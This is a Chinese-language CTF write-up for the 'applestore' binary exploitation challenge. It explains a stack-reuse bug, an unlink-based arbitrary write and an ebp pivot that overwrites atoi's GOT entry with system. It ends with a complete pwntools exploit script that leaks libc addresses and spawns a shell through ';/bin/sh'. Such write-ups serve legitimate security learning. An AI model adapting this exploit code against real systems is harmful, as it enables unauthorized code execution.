题目分析
本来是想自己打穿的,一顿分析,毫无思路。。。。
so
这个程序把手机加入购物车,事实上就是把节点加入双向链表,提供了自写的删除功能,和古老的unlink一毛一样(我都看出来了还是不会做,对栈的理解还不到位)
当我们购物车中商品价格恰好凑齐7174时
结算时会自动以1元将一部iphone8放入购物车
iPhone8对应的这个节点在栈中
位置在:ebp-20h
退出checkout
时,调用下一个函数,这个节点依然在后面函数的ebp-20h
处
关注my_read
函数:
使用read
读入输入流,而read
读入时遇到\x00
是不会停止
而调用my_read
的函数(cart/delete
),用于存入输入流的位置都在:
ebp-22h
恰好可以覆盖ebp-20h
(两个字节用来填删除哪一个链表)
收获:同级函数的栈数据在被覆盖前可以共用,因此在read函数存在超出合理长度但又无法直接控制ebp eip的时候可以多一条路。看看其它同级函数是不是存在可覆盖利用的数据
到此位置,任意地址读写已经达成,当然存在一些坑,比如说直接日got表不可行,unlink修改的要求是修改的value值附近也要可写,system函数附近明显不可写
于是就有了网上优雅的方法
我们可以通过修改delete
时的栈中handle
的ebp
地址
使它指向atoi_got_addr+0x22
,那么delete
返回时handle
的ebp
指向atoi_got_addr+0x22
,存储输入流的地址为ebp-0x22
,即:atoi_got_addr
这时候,我们便可利用my_read
来使用输入流覆盖.got
表中atoi
对应地址为system_addr
,并将参数"/bin/sh"
传入,不过此处参数为输入流存储的开始地址,即system_addr+"/bin/sh"
,所以这里我们使用一下参数截断输入";/bin/sh\x00"
或者"||/bin/sh\x00"
(这玩意不是参数截断,是或的意思,第一个参数失败了才会启用第二个参数也就是||
后面的参数)
收获:为ublink修改值附近地址不可写提供了新思路,即通过ebp做跳板,使用其它同级函数中的输入流控制真正想要修改的地址
exp
from pwn import *
def insert(n):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(n)
p.recvuntil("amazing idea.\n")
def delete(n):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(n)
def checkout():
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline("y")
p.recvuntil("Maybe next time!\n")
def cart(n):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("y\x00" + p32(n) + p32(0)*3)
p.recvuntil("27: ")
#p = remote("139.162.123.119",10104)
p=process("./applestore")
#p.interactive()
elf=ELF("./applestore")
elib = ELF("/lib/i386-linux-gnu/libc-2.23.so")
atoi_got_addr = elf.got["atoi"]
for i in range(6):
insert("1")
for i in range(20):
insert("2")
checkout()
cart(atoi_got_addr)
atoi_addr = u32(p.recvuntil("\n")[:4])
environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
cart(environ_bss)
environ_addr = u32(p.recvuntil("\n")[:4])
system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']
ebp_addr = environ_addr - 0x104
ebp_new_addr = ebp_addr - 0xc
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("27" + p32(atoi_got_addr+1) + "aaaa" + p32(ebp_new_addr) + p32(atoi_got_addr + 0x22))
p.recvuntil("> ")
p.sendline(p32(system_addr)+";/bin/sh\x00")
p.interactive()